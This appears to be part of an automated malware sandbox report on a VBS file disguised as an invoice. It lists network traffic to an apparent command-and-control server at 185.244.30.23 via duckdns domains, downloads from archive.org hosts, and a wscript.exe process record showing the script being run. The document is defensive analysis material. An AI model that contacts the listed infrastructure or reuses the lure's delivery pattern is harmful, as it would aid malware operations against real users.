Aug 3, 2021 20:42:47.661961079 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:48.435055971 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:52.656372070 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:52.823801041 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:52.823956013 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:52.842479944 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:53.029366970 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.031080961 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:53.199043989 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.200728893 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:53.424602032 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.496943951 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:53.707427979 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.733510971 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.739034891 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:53.906877041 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:53.914871931 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:54.084914923 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:54.085108042 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:54.254280090 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:54.308645010 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:54.515741110 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:54.738615990 CEST	6700	49785	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:55.513029099 CEST	49785	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:59.694605112 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:59.861960888 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:59.862210035 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:59.878034115 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.063201904 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.063535929 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.232192039 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.234570026 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.458617926 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.597430944 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.682084084 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.731111050 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.764261961 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.764406919 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:00.988835096 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:00.989005089 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:01.178344965 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:01.231041908 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:01.401388884 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:01.449837923 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:01.591511011 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:01.815983057 CEST	6700	49786	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:02.575767994 CEST	49786	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:06.656589985 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:06.824196100 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:06.824318886 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:06.825128078 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.048019886 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.048481941 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.215631962 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.217253923 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.440887928 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.663458109 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.715964079 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.737452030 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.883482933 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.883711100 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:07.957202911 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:07.957283020 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:08.115026951 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:08.115231037 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:08.125041008 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:08.169294119 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:08.284013033 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:08.325417042 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:08.781559944 CEST	6700	49787	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:08.796632051 CEST	49787	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:12.767179012 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:12.869328022 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:12.934856892 CEST	9090	49788	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:12.934988976 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.038948059 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:13.042494059 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.226201057 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.410098076 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:13.410367966 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.578052998 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:13.579257011 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.817123890 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:13.836149931 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:13.963613033 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:13.964004993 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:14.065778017 CEST	9090	49788	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:14.066025972 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:14.131103992 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:14.133462906 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:14.285155058 CEST	9090	49788	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:14.307255030 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:14.309241056 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:14.476325989 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:14.529325008 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:16.874985933 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:16.922811031 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:18.222618103 CEST	6700	49789	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:18.263767004 CEST	49789	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:19.130219936 CEST	9090	49788	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:19.133245945 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:19.356941938 CEST	9090	49788	185.244.30.23	192.168.2.4
Aug 3, 2021 20:43:19.452609062 CEST	49788	9090	192.168.2.4	185.244.30.23
Aug 3, 2021 20:43:19.672528028 CEST	9090	49788	185.244.30.23	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 20:39:02.850114107 CEST	53097	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:02.884232044 CEST	53	53097	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:04.121026039 CEST	49257	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:04.157704115 CEST	53	49257	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:04.335817099 CEST	62389	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:04.369837999 CEST	53	62389	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:05.176708937 CEST	49910	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:05.201320887 CEST	53	49910	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:06.523617029 CEST	55854	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:06.550964117 CEST	53	55854	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:07.846718073 CEST	64549	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:07.874366045 CEST	53	64549	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:09.027025938 CEST	63153	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:09.062658072 CEST	53	63153	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:10.253014088 CEST	52991	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:10.285778999 CEST	53	52991	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:11.707073927 CEST	53700	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:11.733701944 CEST	53	53700	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:13.112313032 CEST	51726	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:13.145096064 CEST	53	51726	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:14.161216021 CEST	56794	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:14.188775063 CEST	53	56794	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:15.038754940 CEST	56534	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:15.071434975 CEST	53	56534	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:15.941731930 CEST	56627	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:15.974540949 CEST	53	56627	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:16.065934896 CEST	56621	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:16.090558052 CEST	53	56621	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:17.267803907 CEST	63116	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:17.295295954 CEST	53	63116	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:18.492222071 CEST	64078	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:18.519809008 CEST	53	64078	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:19.373274088 CEST	64801	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:19.398221016 CEST	53	64801	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:20.742938995 CEST	61721	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:20.770781994 CEST	53	61721	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:21.854343891 CEST	51255	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:21.879256010 CEST	53	51255	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:22.926369905 CEST	61522	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:22.953879118 CEST	53	61522	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:35.208514929 CEST	52337	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:35.244277954 CEST	53	52337	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:39.292776108 CEST	55046	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:39.330821991 CEST	53	55046	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:53.083746910 CEST	49612	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:53.138139009 CEST	53	49612	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:53.713172913 CEST	49285	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:53.751728058 CEST	53	49285	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:54.465384960 CEST	50601	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:54.497786999 CEST	53	50601	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:55.000854015 CEST	60875	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:55.033651114 CEST	53	60875	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:55.566145897 CEST	56448	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:55.598603964 CEST	53	56448	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:55.705892086 CEST	59172	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:55.733374119 CEST	53	59172	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:56.324378967 CEST	62420	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:56.356928110 CEST	53	62420	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:56.813699007 CEST	60579	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:56.847265005 CEST	53	60579	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:58.230417967 CEST	50183	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:58.268604994 CEST	53	50183	8.8.8.8	192.168.2.4
Aug 3, 2021 20:39:59.858330011 CEST	61531	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:39:59.893903017 CEST	53	61531	8.8.8.8	192.168.2.4
Aug 3, 2021 20:40:00.575088978 CEST	49228	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:40:00.609905958 CEST	53	49228	8.8.8.8	192.168.2.4
Aug 3, 2021 20:40:01.035936117 CEST	59794	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:40:01.061100006 CEST	53	59794	8.8.8.8	192.168.2.4
Aug 3, 2021 20:40:11.122783899 CEST	55916	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:40:11.159787893 CEST	53	55916	8.8.8.8	192.168.2.4
Aug 3, 2021 20:40:46.455075979 CEST	52752	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:40:46.487801075 CEST	53	52752	8.8.8.8	192.168.2.4
Aug 3, 2021 20:40:50.338409901 CEST	60542	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:40:50.371400118 CEST	53	60542	8.8.8.8	192.168.2.4
Aug 3, 2021 20:41:48.610855103 CEST	60689	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:41:48.751724005 CEST	53	60689	8.8.8.8	192.168.2.4
Aug 3, 2021 20:41:55.443265915 CEST	64206	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:41:55.571132898 CEST	53	64206	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:02.624257088 CEST	50904	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:02.657927990 CEST	53	50904	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:09.395072937 CEST	57525	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:09.430355072 CEST	53	57525	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:16.328212023 CEST	53814	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:16.363449097 CEST	53	53814	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:23.406879902 CEST	53418	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:23.439666986 CEST	53	53418	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:30.407226086 CEST	62833	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:30.439749002 CEST	53	62833	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:38.310401917 CEST	59260	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:38.345422983 CEST	53	59260	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:45.546369076 CEST	49944	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:45.580141068 CEST	53	49944	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:52.505614042 CEST	63300	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:52.634674072 CEST	53	63300	8.8.8.8	192.168.2.4
Aug 3, 2021 20:42:59.561860085 CEST	61449	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:42:59.691026926 CEST	53	61449	8.8.8.8	192.168.2.4
Aug 3, 2021 20:43:06.619920969 CEST	51275	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:43:06.655194998 CEST	53	51275	8.8.8.8	192.168.2.4
Aug 3, 2021 20:43:12.629626989 CEST	63492	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:43:12.760323048 CEST	53	63492	8.8.8.8	192.168.2.4
Aug 3, 2021 20:43:12.834378958 CEST	58945	53	192.168.2.4	8.8.8.8
Aug 3, 2021 20:43:12.868308067 CEST	53	58945	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 3, 2021 20:39:15.941731930 CEST	192.168.2.4	8.8.8.8	0x7bbe	Standard query (0)	ia601405.us.archive.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:39:39.292776108 CEST	192.168.2.4	8.8.8.8	0xbe89	Standard query (0)	ia801408.us.archive.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:41:48.610855103 CEST	192.168.2.4	8.8.8.8	0xa4b4	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:41:55.443265915 CEST	192.168.2.4	8.8.8.8	0x4f8d	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:02.624257088 CEST	192.168.2.4	8.8.8.8	0x811f	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:09.395072937 CEST	192.168.2.4	8.8.8.8	0xc9fa	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:16.328212023 CEST	192.168.2.4	8.8.8.8	0x1b9e	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:23.406879902 CEST	192.168.2.4	8.8.8.8	0xe0e7	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:30.407226086 CEST	192.168.2.4	8.8.8.8	0xdf8b	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:38.310401917 CEST	192.168.2.4	8.8.8.8	0x1427	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:45.546369076 CEST	192.168.2.4	8.8.8.8	0xdec4	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:52.505614042 CEST	192.168.2.4	8.8.8.8	0x813e	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:59.561860085 CEST	192.168.2.4	8.8.8.8	0xb3b4	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:06.619920969 CEST	192.168.2.4	8.8.8.8	0xd94d	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:12.629626989 CEST	192.168.2.4	8.8.8.8	0xc508	Standard query (0)	dangomra.duckdns.org	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:12.834378958 CEST	192.168.2.4	8.8.8.8	0x2379	Standard query (0)	newjan.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 3, 2021 20:39:15.974540949 CEST	8.8.8.8	192.168.2.4	0x7bbe	No error (0)	ia601405.us.archive.org	207.241.227.125	A (IP address)	IN (0x0001)
Aug 3, 2021 20:39:39.330821991 CEST	8.8.8.8	192.168.2.4	0xbe89	No error (0)	ia801408.us.archive.org	207.241.228.148	A (IP address)	IN (0x0001)
Aug 3, 2021 20:41:48.751724005 CEST	8.8.8.8	192.168.2.4	0xa4b4	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:41:55.571132898 CEST	8.8.8.8	192.168.2.4	0x4f8d	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:02.657927990 CEST	8.8.8.8	192.168.2.4	0x811f	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:09.430355072 CEST	8.8.8.8	192.168.2.4	0xc9fa	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:16.363449097 CEST	8.8.8.8	192.168.2.4	0x1b9e	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:23.439666986 CEST	8.8.8.8	192.168.2.4	0xe0e7	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:30.439749002 CEST	8.8.8.8	192.168.2.4	0xdf8b	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:38.345422983 CEST	8.8.8.8	192.168.2.4	0x1427	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:45.580141068 CEST	8.8.8.8	192.168.2.4	0xdec4	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:52.634674072 CEST	8.8.8.8	192.168.2.4	0x813e	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:42:59.691026926 CEST	8.8.8.8	192.168.2.4	0xb3b4	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:06.655194998 CEST	8.8.8.8	192.168.2.4	0xd94d	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:12.760323048 CEST	8.8.8.8	192.168.2.4	0xc508	No error (0)	dangomra.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)
Aug 3, 2021 20:43:12.868308067 CEST	8.8.8.8	192.168.2.4	0x2379	No error (0)	newjan.duckdns.org	185.244.30.23	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 3, 2021 20:39:16.366322994 CEST	207.241.227.125	443	192.168.2.4	49746	CN=*.us.archive.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Mon Dec 23 14:16:32 CET 2019 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon Feb 21 23:56:17 CET 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034
Aug 3, 2021 20:39:39.694905043 CEST	207.241.228.148	443	192.168.2.4	49756	CN=*.us.archive.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Mon Dec 23 14:16:32 CET 2019 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon Feb 21 23:56:17 CET 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exe PID: 6628 Parent PID: 3424

General

Start time:	20:39:09
Start date:	03/08/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs'
Imagebase:	0x7ff7cf0c0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
